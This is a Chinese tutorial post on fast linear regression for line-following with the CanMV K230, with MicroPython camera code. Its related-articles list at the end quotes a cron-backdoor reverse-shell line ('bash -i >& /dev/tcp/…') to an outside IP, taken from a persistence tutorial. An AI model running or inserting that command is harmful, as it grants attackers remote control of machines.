【CanMV K230】快速线性回归(巡线)

news2024/11/9 14:48:33

【CanMV K230】快速线性回归(巡线)

  • 什么是快速线性回归
  • 快速线性回归应用领域
    • 1.机器人竞赛
    • 2.自动引导车(AGV):
    • 3.智能交通系统:
  • K230应用
    • 相关函数
    • 官方例程
    • 实现图像在HDMI显示器进快速线性回归(巡线)

请添加图片描述
本篇内容:

  1. 什么是快速线性回归
  2. 快速线性回归应用领域
  3. K230应用(包含相应函数及例程)

B站视频链接:已做成合集 (求去点赞,或者发个弹幕也行呀。C友)
抖音链接:已做成合集(求去点赞,或者发个弹幕也行呀。C友)

什么是快速线性回归

快速线性回归通常指的是使用高效算法求解线性回归问题的方法。线性回归是一种统计分析方法,用于建立自变量和因变量之间的线性关系模型。这里主要应用在巡线上。

快速线性回归应用领域

快速线性回归在巡线应用领域中主要用于图像处理和机器视觉任务,尤其是在机器人导航和自动引导车(AGV)中。通过快速线性回归算法,可以分析图像中的线条特征,并实时计算出机器人或车辆的行进路径,使其能够沿着预定的线路行驶。

1.机器人竞赛

在机器人比赛中,快速线性回归可以帮助机器人识别赛道并沿着赛道进行循迹。
在这里插入图片描述

2.自动引导车(AGV):

在工业自动化中,AGV使用快速线性回归来沿着地面标记的路径运输物料,确保精确导航。
在这里插入图片描述

3.智能交通系统:

在智能交通系统中,快速线性回归可以用于车辆的车道保持辅助系统,帮助车辆识别道路标线并保持车道。

在这里插入图片描述
快速线性回归的优势在于其计算速度快,能够实时处理图像数据,适用于需要快速响应的应用场景。

K230应用

相关函数

get_regression对象

构造函数

image.get_regression(thresholds[, invert=False[, roi[, x_stride=2[, y_stride=1[, 
                    area_threshold=10[, pixels_threshold=10[, robust=False]]]]]]])

线性回归计算。对图像所有阈值像素进行线性回归计算,通过最小二乘法进行,通常速度较快,但不能处理任何异常值;

参数说明
threshold: 必须是元组列表(lo, hi) 定义你想追踪的颜色范围。

对于灰度图像,每个元组需要包含两个值:最小灰度值和最大灰度值。

例:thresholds=(0,100) ,则该函数表示将(0,100)灰度值范围变成白色。

官方例程

'''
实验名称:快速线性回归(巡线)
实验平台:01Studio CanMV K230
教程:wiki.01studio.cc
'''

import time, os, sys

from media.sensor import * #导入sensor模块,使用摄像头相关接口
from media.display import * #导入display模块,使用display相关接口
from media.media import * #导入media模块,使用meida相关接口


THRESHOLD = (0, 100)  # 黑白图像的灰度阈值
BINARY_VISIBLE = True # 使用二值化图像你可以看到什么是线性回归。
                        # 这可能降低 FPS(每秒帧数).

try:

    sensor = Sensor(width=1280, height=960) #构建摄像头对象
    sensor.reset() #复位和初始化摄像头
    sensor.set_framesize(width=640, height=480) #设置帧大小,默认通道0
    sensor.set_pixformat(Sensor.GRAYSCALE) #设置输出图像格式,默认通道0

    Display.init(Display.ST7701, to_ide=True) #同时使用3.5寸mipi屏和IDE缓冲区显示图像,800x480分辨率
    #Display.init(Display.VIRT, sensor.width(), sensor.height()) #只使用IDE缓冲区显示图像

    MediaManager.init() #初始化media资源管理器

    sensor.run() #启动sensor

    clock = time.clock()

    while True:

        os.exitpoint() #检测IDE中断

        ################
        ## 这里编写代码 ##
        ################
        clock.tick()

        #image.binary([THRESHOLD])将灰度值在THRESHOLD范围变成了白色
        img = sensor.snapshot().binary([THRESHOLD]) if BINARY_VISIBLE else sensor.snapshot()

        # 返回一个类似 find_lines() 和find_line_segments()的对象.
        # 有以下函数使用方法: x1(), y1(), x2(), y2(), length(),
        # theta() (rotation in degrees), rho(), and magnitude().
        #
        # magnitude() 代表线性回归的指令,其值为(0, INF]。
        # 0表示一个圆,INF数值越大,表示线性拟合的效果越好。

        line = img.get_regression([(255,255) if BINARY_VISIBLE else THRESHOLD])

        if (line):

            img.draw_line(line.line(), color = 127,thickness=4)

            print(line) #打印结果

        #显示图片,仅用于LCD居中方式显示
        Display.show_image(img, x=round((800-sensor.width())/2),y=round((480-sensor.height())/2))


        print("FPS %f, mag = %s" % (clock.fps(), str(line.magnitude()) if (line) else "N/A"))


###################
# IDE中断释放资源代码
###################
except KeyboardInterrupt as e:
    print("user stop: ", e)
except BaseException as e:
    print(f"Exception {e}")
finally:
    # sensor stop run
    if isinstance(sensor, Sensor):
        sensor.stop()
    # deinit display
    Display.deinit()
    os.exitpoint(os.EXITPOINT_ENABLE_SLEEP)
    time.sleep_ms(100)
    # release media buffer
    MediaManager.deinit()

https://wiki.01studio.cc/docs/canmv_k230/machine_vision/image_detection/linear_regression_fast

在这里插入图片描述

在这里插入图片描述
从左往右依次为 91°->180°(0°)-> 90° 变化,大家可以结合上图观察实验数据理解,巡线行走的小车本质就是让这个拟合线段保持在0°位置行走。

实现图像在HDMI显示器进快速线性回归(巡线)

效果并不好,毕竟是在小车上用的。看一下效果就行。主要是了解返回的参数。

'''
实验名称:快速线性回归(巡线)
实验平台:01Studio CanMV K230
说明:实现图像在HDMI显示器进快速线性回归(巡线)
测试人:咸鱼浆 2024年9月6日15:39:10
'''

import time, os, sys

from media.sensor import * #导入sensor模块,使用摄像头相关接口
from media.display import * #导入display模块,使用display相关接口
from media.media import * #导入media模块,使用meida相关接口
THRESHOLD = (0, 100)  # 黑白图像的灰度阈值
BINARY_VISIBLE = True # 使用二值化图像你可以看到什么是线性回归。
                        # 这可能降低 FPS(每秒帧数).
try:

    sensor = Sensor(width=1280, height=960) #构建摄像头对象,将摄像头长宽设置为4:3
    sensor.reset() #复位和初始化摄像头
    sensor.set_framesize(width=640, height=480) #设置帧大小为(width=640, height=480)太大了就显示不出来了,默认通道0
    sensor.set_pixformat(Sensor.GRAYSCALE) #设置输出图像格式,默认通道0

    #使用IDE缓冲区输出图像,显示尺寸和sensor配置一致。
    Display.init(Display.LT9611, to_ide=True)

    MediaManager.init() #初始化media资源管理器

    sensor.run() #启动sensor


    while True:
        os.exitpoint() #检测IDE中断
        ################
        ## 这里编写代码 ##
        ################
        #image.binary([THRESHOLD])将灰度值在THRESHOLD范围变成了白色
        img = sensor.snapshot().binary([THRESHOLD]) if BINARY_VISIBLE else sensor.snapshot()

                # 返回一个类似 find_lines() 和find_line_segments()的对象.
                # 有以下函数使用方法: x1(), y1(), x2(), y2(), length(),
                # theta() (rotation in degrees), rho(), and magnitude().
                #
                # magnitude() 代表线性回归的指令,其值为(0, INF]。
                # 0表示一个圆,INF数值越大,表示线性拟合的效果越好。

        line = img.get_regression([(255,255) if BINARY_VISIBLE else THRESHOLD])

        if (line):

            img.draw_line(line.line(), color = 127,thickness=4)

            print(line) #打印结果
        Display.show_image(img, x=round((1920-sensor.width())/2),y=round((1080-sensor.height())/2))



        #Display.show_image(img) #显示图片




###################
# IDE中断释放资源代码
###################
except KeyboardInterrupt as e:
    print("user stop: ", e)
except BaseException as e:
    print(f"Exception {e}")
finally:
    # sensor stop run
    if isinstance(sensor, Sensor):
        sensor.stop()
    # deinit display
    Display.deinit()
    os.exitpoint(os.EXITPOINT_ENABLE_SLEEP)
    time.sleep_ms(100)
    # release media buffer
    MediaManager.deinit()

在这里插入图片描述
两个点坐标,长度,以及非常重要的theta角度信息,theta角度表示如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2119441.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++基础知识6 vector

vector 1.vector的介绍及使用1.1 vector的介绍1.2 vector的使用1.2.1 vector的定义1.2.2 vector iterator 的使用1.2.3 vector 常用的接口1.2.4 vector 空间增长问题1.2.4 vector 迭代器失效问题。(重点) 2.vector模拟实现 1.vector的介绍及使用 1.1 ve…

数据分析-埋点

1、数据埋点的定义 针对特定用户行为或事件进行捕获、处理何发送的相关技术及其实施过程。 2、数据埋点的原理 埋点是数据采集的重要方式。通过在页面上植入代码,监控用户行为(例:页面加载、按钮点击等)。用户一旦触发了该事件,就会根据埋点信息将相关数…

Linux网盘,编程者的选择,让技术为数据服务,创造无限价值!“#Linux系统编程《网盘项目》

"Linux网盘,编程者的选择,让技术为数据服务,创造无限价值!"#Linux系统编程《网盘项目》 前言预备知识一、 项目功能二、 程序基本框架2.1 服务器程序流图2.2 客户端程序流图 三、 程序代码解析3.1 服务器代码解析3.1.1 …

Spring6学习笔记3:AOP

文章目录 1 场景模拟1.1 声明接口1.2 创建实现类1.3 创建带日志功能的实现类1.4 提出问题 2 代理模式2.1 概念2.2 静态代理2.3 动态代理2.4 测试 3 AOP概念及相关术语3.1 概述3.2 相关术语3.2.1 横切关注点3.2.2 通知(增强)3.2.3 切面3.2.4 目标3.2.5 代…

初始MYSQL数据库(4)—— “不一样的“新增与查询

找往期文章包括但不限于本期文章中不懂的知识点: 个人主页:我要学编程(ಥ_ಥ)-CSDN博客 所属专栏: MYSQL 目录 新增 查询 聚合查询 聚合查询的相关练习 GROUP BY子句 HAVING 联合查询 内连接 外连接 自连接 子查询 合并查询…

第145天:内网安全-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

案例一:权限维持-Linux-定时任务-Cron后门 linux的计时任务,配置文件再/etc/crontab下 创建后门文件,这里可以创建成隐藏文件 vim /etc/.back.sh 反弹shell的内容 #!/bin/bash bash -i >& /dev/tcp/47.94.236.117/3333 0>&…

猫咪掉毛怎么处理?希喂、米家、范罗士宠物空气净化器用哪款?

我朋友在大学里养了两年猫,刚开始养的时候全寝都很喜欢,甚至隔壁宿舍的都来看,而且猫咪很亲人,没有对别人哈气,一片其乐融融的情景。 但是养了三个月之后,宿舍矛盾开始爆发,有一位舍友和她吵了…

博科测试业绩有所承压:资产负债率远高同行,连年分红后再补流

​ 《港湾商业观察》施子夫 王璐 日前,北京博科测试系统股份有限公司(以下简称,博科测试)提交了注册申请,其距离创业板上市更近一步。 时间线上,早在2022年4月21日,博科测试就递交招股书&…

goby/xray批量导入自定义poc(附2024红队POC)

自定义xray2024最新公开poc &#xff1a;夸克网盘分享 Xray Xray 官方文档 介绍 - xray Documentation 基础爬虫模式进行漏洞扫描 xray webscan --basic-crawler <URL> --html-output xray-crawler-testphp.html 基础模式进行漏洞扫描&#xff0c;不使用爬虫 xray …

VS Studio2022 最新的mission planner二次开发环境搭建 所有资源都在自己亲测 自己一步步搞出来的花了1个月(小白转行版

文章目录 1. 环境要求1.1 VS Studio下载1.2 Mission Planner2 Mission Planner打包msi(使用使用VisualStudio2022插件(Visual Studio Installer Projects 2022))3 打开设计器FlightData.cs1. 环境要求 Win10以上(目前实测了11,10也可以的) 1.1 VS Studio下载 VS Studio20…

Redis主从数据同步过程:命令传播、部分重同步、复制偏移量等

请记住胡广一句话&#xff0c;所有的中间件所有的框架都是建立在基础之上&#xff0c;数据结构&#xff0c;计算机网络&#xff0c;计算机原理大伙一定得看透&#xff01;&#xff01;~ 1. Redis数据同步 1.1 数据同步过程 大家有没想过为什么Redis多机要进行数据同步&#…

NodeMCU-ESP8266+flash_download_tool_3.9.7 烧录

USB-TTL 接 NodeMCU的RXD0, TXD0, GND 例程hello_world&#xff1a; Eclipse编译信息&#xff1a; python /d/ESP/ESP8266_RTOS_SDK/ESP8266_RTOS_SDK/components/esptool_py/esptool/esptool.py --chip esp8266 --port COM6 --baud 115200 --before default_reset --after …

AI绘图神器排行:MidJourney、Stable Diffusion等热门工具深度解析

AI绘画工具各有优势&#xff0c;从开放性到对特定语言和文化的支持&#xff0c;以及对图像细节和艺术性的不同关注点&#xff0c;根据具体需求选择合适的工具 MidJourney 图片品质卓越&#xff0c;充满独特创意&#xff0c;初期能够免费获取数十账高质量图片&#xff0c;整个生…

【C++ 面试 - 新特性】每日 3 题(六)

✍个人博客&#xff1a;Pandaconda-CSDN博客 &#x1f4e3;专栏地址&#xff1a;http://t.csdnimg.cn/fYaBd &#x1f4da;专栏简介&#xff1a;在这个专栏中&#xff0c;我将会分享 C 面试中常见的面试题给大家~ ❤️如果有收获的话&#xff0c;欢迎点赞&#x1f44d;收藏&…

八、3 DMA数据转运(代码)

&#xff08;1&#xff09;DMA函数介绍 &#xff08;2&#xff09;DMA是AHB总线的设备&#xff0c;要用AHB开启时钟 若将DataA放在外设站点&#xff0c;DataB放在存储器站点&#xff0c;传输方向就是外设站点—>存储器站点 DMA转运的三个条件&#xff1a; 1&#xff09;传输…

【C语言】字符串函数详细讲解

文章目录 前言求字符串长度&#xff08;strlen&#xff09;strlen的声明和使用strlen模拟实现 字符串拷贝&#xff08;strcpy&#xff09;strcpy的声明和使用strcpy模拟实现 字符串追加函数&#xff08;strcat&#xff09;strcat的声明和使用strcat模拟实现 字符串比较函数&…

C语言深入理解指针5

1.sizeof和strlen 对比 1.1sizeof sizeof用来计算变量所占内存空间大小&#xff0c;单位是字节&#xff0c;操作数是类型的话&#xff0c;计算的是使用类型创建的变量所占空间的大小 sizeof只关注占用内存空间大小&#xff0c;不在乎内存中存放什么数据 int main() {int a …

验证码识别之点选验证码识别——绪论

基于深度学习与传统算法的点选验证码识别 绪论 随着互联网的飞速发展&#xff0c;网络安全问题日益凸显&#xff0c;验证码作为一种有效的安全防护手段&#xff0c;广泛应用于登录验证、注册验证、防止自动化攻击等多个场景。传统的验证码形式如文本验证码、图形验证码等&…

使用 Parallel 类进行多线程编码(上)

用 C# 进行多线程编程有很多方式&#xff0c;比如使用 Thread 对象开启一个新线程&#xff0c;但这已经是一种落后的写法了&#xff0c;现在推荐的写法是使用 Parallel 类&#xff0c;它可以让我们像写传统代码一样编写多线程的程序&#xff0c;Parallel 类有三个常用的方法如下…

erlang学习: Mnesia Erlang数据库

创建Mnesia数据库 mnesia:create_schema([node()]).在shell里输入该行代码即可创建一个mnesia数据库于当前文件夹下 编译器文件路径下同样也有 数据库表定义创建 之后是数据库表定义&#xff0c;打开数据库创建完成后&#xff0c;启动数据库&#xff0c;添加一些表定义&…